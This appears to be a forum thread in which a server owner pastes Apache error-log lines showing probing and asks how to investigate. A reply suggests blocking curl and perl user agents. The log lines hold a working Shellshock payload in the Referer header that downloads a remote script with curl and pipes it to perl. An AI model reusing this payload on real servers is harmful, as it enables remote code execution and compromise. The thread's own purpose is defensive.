What the fuck is going on here?
 

I think either some has hacked, or is trying to hack my server:

error_log


[Mon Oct 20 21:31:35 2014] [error] [client 58.177.244.178] Directory index forbidden by Options directive: /var/www/html/, referer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl
[Mon Oct 20 21:31:35 2014] [error] [client 58.177.244.178] Directory index forbidden by Options directive: /var/www/html/, referer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl
[Mon Oct 20 21:31:35 2014] [error] [client 58.177.244.178] Directory index forbidden by Options directive: /var/www/html/, referer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl
[Mon Oct 20 21:31:35 2014] [error] [client 58.177.244.178] Directory index forbidden by Options directive: /var/www/html/, referer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl


What is my first step to track down what is going on?

You should block user agents perls and curl to access your server.Try this:
http://www.askapache.com/htaccess/bl...-htaccess.html